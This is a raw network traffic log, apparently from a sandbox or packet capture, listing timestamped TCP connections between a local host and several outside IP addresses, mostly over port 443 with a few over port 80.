Nov 18, 2024 00:27:34.223182917 CET	49802	443	192.168.2.6	20.12.23.50
Nov 18, 2024 00:27:34.223187923 CET	443	49802	20.12.23.50	192.168.2.6
Nov 18, 2024 00:27:34.223197937 CET	443	49802	20.12.23.50	192.168.2.6
Nov 18, 2024 00:27:34.223242998 CET	49802	443	192.168.2.6	20.12.23.50
Nov 18, 2024 00:27:34.229264975 CET	49793	443	192.168.2.6	216.58.206.68
Nov 18, 2024 00:27:34.229273081 CET	443	49793	216.58.206.68	192.168.2.6
Nov 18, 2024 00:27:34.234778881 CET	49802	443	192.168.2.6	20.12.23.50
Nov 18, 2024 00:27:34.234787941 CET	443	49802	20.12.23.50	192.168.2.6
Nov 18, 2024 00:27:34.260724068 CET	443	49793	216.58.206.68	192.168.2.6
Nov 18, 2024 00:27:34.261157036 CET	49793	443	192.168.2.6	216.58.206.68
Nov 18, 2024 00:27:34.261172056 CET	443	49793	216.58.206.68	192.168.2.6
Nov 18, 2024 00:27:34.286541939 CET	443	49793	216.58.206.68	192.168.2.6
Nov 18, 2024 00:27:34.286582947 CET	443	49793	216.58.206.68	192.168.2.6
Nov 18, 2024 00:27:34.286659002 CET	49793	443	192.168.2.6	216.58.206.68
Nov 18, 2024 00:27:34.286674023 CET	443	49793	216.58.206.68	192.168.2.6
Nov 18, 2024 00:27:34.289189100 CET	49793	443	192.168.2.6	216.58.206.68
Nov 18, 2024 00:27:34.300139904 CET	443	49793	216.58.206.68	192.168.2.6
Nov 18, 2024 00:27:34.300329924 CET	443	49793	216.58.206.68	192.168.2.6
Nov 18, 2024 00:27:34.300399065 CET	49793	443	192.168.2.6	216.58.206.68
Nov 18, 2024 00:27:34.300410986 CET	443	49793	216.58.206.68	192.168.2.6
Nov 18, 2024 00:27:34.300868988 CET	443	49793	216.58.206.68	192.168.2.6
Nov 18, 2024 00:27:34.300925016 CET	49793	443	192.168.2.6	216.58.206.68
Nov 18, 2024 00:27:34.300934076 CET	443	49793	216.58.206.68	192.168.2.6
Nov 18, 2024 00:27:34.341679096 CET	49793	443	192.168.2.6	216.58.206.68
Nov 18, 2024 00:27:34.341689110 CET	443	49793	216.58.206.68	192.168.2.6
Nov 18, 2024 00:27:34.344171047 CET	443	49793	216.58.206.68	192.168.2.6
Nov 18, 2024 00:27:34.344319105 CET	49793	443	192.168.2.6	216.58.206.68
Nov 18, 2024 00:27:34.344327927 CET	443	49793	216.58.206.68	192.168.2.6
Nov 18, 2024 00:27:34.377979994 CET	443	49793	216.58.206.68	192.168.2.6
Nov 18, 2024 00:27:34.378778934 CET	49793	443	192.168.2.6	216.58.206.68
Nov 18, 2024 00:27:34.378789902 CET	443	49793	216.58.206.68	192.168.2.6
Nov 18, 2024 00:27:34.401591063 CET	443	49793	216.58.206.68	192.168.2.6
Nov 18, 2024 00:27:34.401629925 CET	443	49793	216.58.206.68	192.168.2.6
Nov 18, 2024 00:27:34.401683092 CET	49793	443	192.168.2.6	216.58.206.68
Nov 18, 2024 00:27:34.401701927 CET	443	49793	216.58.206.68	192.168.2.6
Nov 18, 2024 00:27:34.401715040 CET	443	49793	216.58.206.68	192.168.2.6
Nov 18, 2024 00:27:34.401760101 CET	49793	443	192.168.2.6	216.58.206.68
Nov 18, 2024 00:27:34.414966106 CET	443	49793	216.58.206.68	192.168.2.6
Nov 18, 2024 00:27:34.415882111 CET	443	49793	216.58.206.68	192.168.2.6
Nov 18, 2024 00:27:34.415961027 CET	49793	443	192.168.2.6	216.58.206.68
Nov 18, 2024 00:27:34.695903063 CET	49793	443	192.168.2.6	216.58.206.68
Nov 18, 2024 00:27:34.695924044 CET	443	49793	216.58.206.68	192.168.2.6
Nov 18, 2024 00:27:34.871555090 CET	443	49808	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:34.884121895 CET	443	49809	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:34.889627934 CET	443	49810	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:34.894355059 CET	443	49811	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:34.911708117 CET	49808	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:34.911715984 CET	443	49808	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:34.912261009 CET	49808	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:34.912265062 CET	443	49808	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:34.912786961 CET	49809	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:34.912807941 CET	443	49809	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:34.913068056 CET	49809	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:34.913074017 CET	443	49809	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:34.913600922 CET	49810	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:34.913620949 CET	443	49810	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:34.913966894 CET	49810	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:34.913974047 CET	443	49810	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:34.914668083 CET	49811	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:34.914668083 CET	49811	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:34.914679050 CET	443	49811	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:34.914695024 CET	443	49811	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:34.960284948 CET	443	49812	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:34.960938931 CET	49812	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:34.960963011 CET	443	49812	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:34.961527109 CET	49812	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:34.961532116 CET	443	49812	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:35.039850950 CET	443	49809	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:35.039998055 CET	443	49809	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:35.040091038 CET	49809	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:35.040105104 CET	443	49808	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:35.040184021 CET	443	49808	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:35.040349007 CET	49808	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:35.043282986 CET	443	49811	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:35.043370962 CET	443	49811	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:35.043490887 CET	49811	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:35.043570995 CET	49809	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:35.043581963 CET	443	49809	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:35.043601990 CET	49809	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:35.043607950 CET	443	49809	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:35.045017958 CET	49808	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:35.045017958 CET	49808	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:35.045041084 CET	443	49808	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:35.045049906 CET	443	49808	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:35.045469999 CET	49811	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:35.045469999 CET	49811	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:35.045478106 CET	443	49811	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:35.045486927 CET	443	49811	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:35.045767069 CET	443	49810	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:35.045856953 CET	443	49810	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:35.045959949 CET	49810	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:35.047111988 CET	49810	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:35.047116995 CET	443	49810	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:35.050715923 CET	49818	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:35.050741911 CET	443	49818	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:35.050820112 CET	49818	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:35.051532030 CET	49819	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:35.051558971 CET	443	49819	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:35.051631927 CET	49819	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:35.051881075 CET	49820	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:35.051907063 CET	443	49820	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:35.051974058 CET	49820	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:35.053214073 CET	49821	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:35.053246021 CET	443	49821	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:35.053251028 CET	49818	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:35.053265095 CET	443	49818	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:35.053301096 CET	49821	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:35.053406954 CET	49821	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:35.053417921 CET	443	49821	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:35.053482056 CET	49820	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:35.053499937 CET	443	49820	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:35.053546906 CET	49819	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:35.053572893 CET	443	49819	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:35.092319965 CET	443	49812	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:35.092482090 CET	443	49812	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:35.092600107 CET	49812	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:35.092694998 CET	49812	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:35.092694998 CET	49812	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:35.092710972 CET	443	49812	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:35.092717886 CET	443	49812	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:35.095896959 CET	49822	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:35.095928907 CET	443	49822	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:35.096076012 CET	49822	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:35.097619057 CET	49822	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:35.097630978 CET	443	49822	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:35.527626038 CET	49823	443	192.168.2.6	216.58.206.68
Nov 18, 2024 00:27:35.527700901 CET	443	49823	216.58.206.68	192.168.2.6
Nov 18, 2024 00:27:35.527820110 CET	49823	443	192.168.2.6	216.58.206.68
Nov 18, 2024 00:27:35.528081894 CET	49823	443	192.168.2.6	216.58.206.68
Nov 18, 2024 00:27:35.528126001 CET	443	49823	216.58.206.68	192.168.2.6
Nov 18, 2024 00:27:35.885092974 CET	443	49821	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:35.886214018 CET	49821	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:35.886239052 CET	443	49821	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:35.887006044 CET	49821	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:35.887020111 CET	443	49821	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:36.004967928 CET	443	49819	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:36.005642891 CET	49819	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:36.005682945 CET	443	49819	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:36.005685091 CET	443	49820	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:36.005995035 CET	49820	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:36.006028891 CET	443	49820	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:36.006339073 CET	49819	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:36.006366014 CET	443	49819	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:36.006467104 CET	49820	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:36.006474018 CET	443	49820	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:36.010294914 CET	443	49822	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:36.010620117 CET	443	49818	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:36.010766029 CET	49822	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:36.010787010 CET	443	49822	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:36.011030912 CET	49818	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:36.011046886 CET	443	49818	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:36.011533976 CET	49822	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:36.011564970 CET	443	49822	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:36.011600971 CET	49818	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:36.011605978 CET	443	49818	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:36.019519091 CET	443	49821	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:36.019591093 CET	443	49821	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:36.019692898 CET	443	49821	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:36.019754887 CET	49821	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:36.019855976 CET	49821	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:36.019867897 CET	443	49821	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:36.019887924 CET	49821	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:36.019893885 CET	443	49821	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:36.023335934 CET	49824	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:36.023360968 CET	443	49824	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:36.023554087 CET	49824	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:36.023763895 CET	49824	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:36.023777962 CET	443	49824	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:36.133802891 CET	443	49819	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:36.134002924 CET	443	49819	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:36.134073019 CET	49819	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:36.134205103 CET	49819	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:36.134247065 CET	443	49819	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:36.134277105 CET	49819	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:36.134293079 CET	443	49819	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:36.137430906 CET	443	49820	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:36.137525082 CET	443	49820	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:36.137588978 CET	49820	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:36.137979984 CET	49825	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:36.138012886 CET	443	49825	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:36.138072014 CET	49825	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:36.138214111 CET	49820	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:36.138233900 CET	443	49820	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:36.138242960 CET	49820	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:36.138248920 CET	443	49820	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:36.138274908 CET	49825	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:36.138288975 CET	443	49825	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:36.141446114 CET	49826	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:36.141473055 CET	443	49826	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:36.141520023 CET	443	49822	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:36.141618013 CET	49826	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:36.141675949 CET	443	49822	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:36.141731024 CET	49822	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:36.141922951 CET	49826	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:36.141937971 CET	443	49826	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:36.142056942 CET	49822	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:36.142056942 CET	49822	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:36.142065048 CET	443	49822	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:36.142075062 CET	443	49822	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:36.144813061 CET	49827	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:36.144824028 CET	443	49827	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:36.144896030 CET	49827	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:36.145039082 CET	49827	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:36.145050049 CET	443	49827	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:36.229376078 CET	443	49818	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:36.229448080 CET	443	49818	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:36.229527950 CET	49818	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:36.230164051 CET	49818	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:36.230164051 CET	49818	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:36.230175972 CET	443	49818	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:36.230184078 CET	443	49818	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:36.233620882 CET	49828	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:36.233658075 CET	443	49828	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:36.233727932 CET	49828	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:36.233885050 CET	49828	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:36.233906984 CET	443	49828	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:36.383344889 CET	443	49823	216.58.206.68	192.168.2.6
Nov 18, 2024 00:27:36.383588076 CET	49823	443	192.168.2.6	216.58.206.68
Nov 18, 2024 00:27:36.383631945 CET	443	49823	216.58.206.68	192.168.2.6
Nov 18, 2024 00:27:36.384880066 CET	443	49823	216.58.206.68	192.168.2.6
Nov 18, 2024 00:27:36.384948969 CET	49823	443	192.168.2.6	216.58.206.68
Nov 18, 2024 00:27:36.385204077 CET	49823	443	192.168.2.6	216.58.206.68
Nov 18, 2024 00:27:36.385274887 CET	443	49823	216.58.206.68	192.168.2.6
Nov 18, 2024 00:27:36.432209969 CET	49823	443	192.168.2.6	216.58.206.68
Nov 18, 2024 00:27:36.432274103 CET	443	49823	216.58.206.68	192.168.2.6
Nov 18, 2024 00:27:36.479737997 CET	49823	443	192.168.2.6	216.58.206.68
Nov 18, 2024 00:27:36.630511999 CET	49829	443	192.168.2.6	40.113.110.67
Nov 18, 2024 00:27:36.630568027 CET	443	49829	40.113.110.67	192.168.2.6
Nov 18, 2024 00:27:36.630691051 CET	49829	443	192.168.2.6	40.113.110.67
Nov 18, 2024 00:27:36.631387949 CET	49829	443	192.168.2.6	40.113.110.67
Nov 18, 2024 00:27:36.631406069 CET	443	49829	40.113.110.67	192.168.2.6
Nov 18, 2024 00:27:36.747023106 CET	443	49824	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:36.748019934 CET	49824	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:36.748038054 CET	443	49824	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:36.748609066 CET	49824	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:36.748613119 CET	443	49824	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:36.830168009 CET	49830	443	192.168.2.6	184.28.90.27
Nov 18, 2024 00:27:36.830193996 CET	443	49830	184.28.90.27	192.168.2.6
Nov 18, 2024 00:27:36.830286980 CET	49830	443	192.168.2.6	184.28.90.27
Nov 18, 2024 00:27:36.831404924 CET	49830	443	192.168.2.6	184.28.90.27
Nov 18, 2024 00:27:36.831417084 CET	443	49830	184.28.90.27	192.168.2.6
Nov 18, 2024 00:27:36.860676050 CET	443	49825	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:36.861429930 CET	49825	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:36.861448050 CET	443	49825	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:36.862037897 CET	49825	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:36.862046003 CET	443	49825	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:36.875576973 CET	443	49824	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:36.875653028 CET	443	49824	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:36.875761032 CET	443	49824	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:36.875899076 CET	49824	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:36.875899076 CET	49824	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:36.875972986 CET	49824	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:36.875984907 CET	443	49824	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:36.878968954 CET	49831	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:36.879003048 CET	443	49831	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:36.879065990 CET	49831	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:36.879257917 CET	49831	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:36.879272938 CET	443	49831	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:36.883361101 CET	443	49826	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:36.883845091 CET	49826	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:36.883856058 CET	443	49826	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:36.884922981 CET	49826	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:36.884929895 CET	443	49826	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:36.889178991 CET	443	49827	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:36.897361994 CET	49827	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:36.897382975 CET	443	49827	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:36.906359911 CET	49827	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:36.906368971 CET	443	49827	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:36.964467049 CET	443	49828	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:36.966579914 CET	49828	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:36.966592073 CET	443	49828	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:36.967709064 CET	49828	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:36.967715025 CET	443	49828	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:36.988759995 CET	443	49825	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:36.988831043 CET	443	49825	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:36.988899946 CET	49825	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:36.999337912 CET	49825	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:36.999356985 CET	443	49825	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:36.999370098 CET	49825	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:36.999375105 CET	443	49825	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:37.005275965 CET	49832	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:37.005296946 CET	443	49832	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:37.005433083 CET	49832	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:37.005908012 CET	49832	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:37.005919933 CET	443	49832	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:37.016494036 CET	443	49826	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:37.016782045 CET	443	49826	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:37.016894102 CET	49826	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:37.017028093 CET	49826	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:37.017040014 CET	443	49826	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:37.017051935 CET	49826	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:37.017056942 CET	443	49826	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:37.020354033 CET	49833	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:37.020431995 CET	443	49833	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:37.020517111 CET	49833	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:37.021390915 CET	49833	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:37.021433115 CET	443	49833	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:37.034079075 CET	443	49827	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:37.034292936 CET	443	49827	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:37.034405947 CET	49827	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:37.034616947 CET	49827	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:37.034616947 CET	49827	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:37.034625053 CET	443	49827	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:37.034632921 CET	443	49827	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:37.039073944 CET	49834	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:37.039093971 CET	443	49834	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:37.039166927 CET	49834	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:37.039493084 CET	49834	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:37.039506912 CET	443	49834	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:37.059556007 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:37.060122013 CET	49837	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:37.064346075 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:37.064966917 CET	80	49837	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:37.065049887 CET	49837	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:37.065498114 CET	49837	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:37.070261002 CET	80	49837	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:37.093153954 CET	443	49828	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:37.093193054 CET	443	49828	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:37.093245029 CET	443	49828	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:37.093260050 CET	49828	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:37.093293905 CET	49828	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:37.093787909 CET	49828	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:37.093797922 CET	443	49828	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:37.099526882 CET	49838	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:37.099553108 CET	443	49838	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:37.099683046 CET	49838	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:37.100493908 CET	49838	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:37.100507975 CET	443	49838	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:37.523912907 CET	49841	443	192.168.2.6	172.217.23.110
Nov 18, 2024 00:27:37.523953915 CET	443	49841	172.217.23.110	192.168.2.6
Nov 18, 2024 00:27:37.524007082 CET	49841	443	192.168.2.6	172.217.23.110
Nov 18, 2024 00:27:37.525041103 CET	49841	443	192.168.2.6	172.217.23.110
Nov 18, 2024 00:27:37.525058031 CET	443	49841	172.217.23.110	192.168.2.6
Nov 18, 2024 00:27:37.623416901 CET	443	49831	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:37.623985052 CET	49831	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:37.624018908 CET	443	49831	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:37.624495983 CET	49831	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:37.624504089 CET	443	49831	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:37.676249027 CET	443	49830	184.28.90.27	192.168.2.6
Nov 18, 2024 00:27:37.676496029 CET	49830	443	192.168.2.6	184.28.90.27
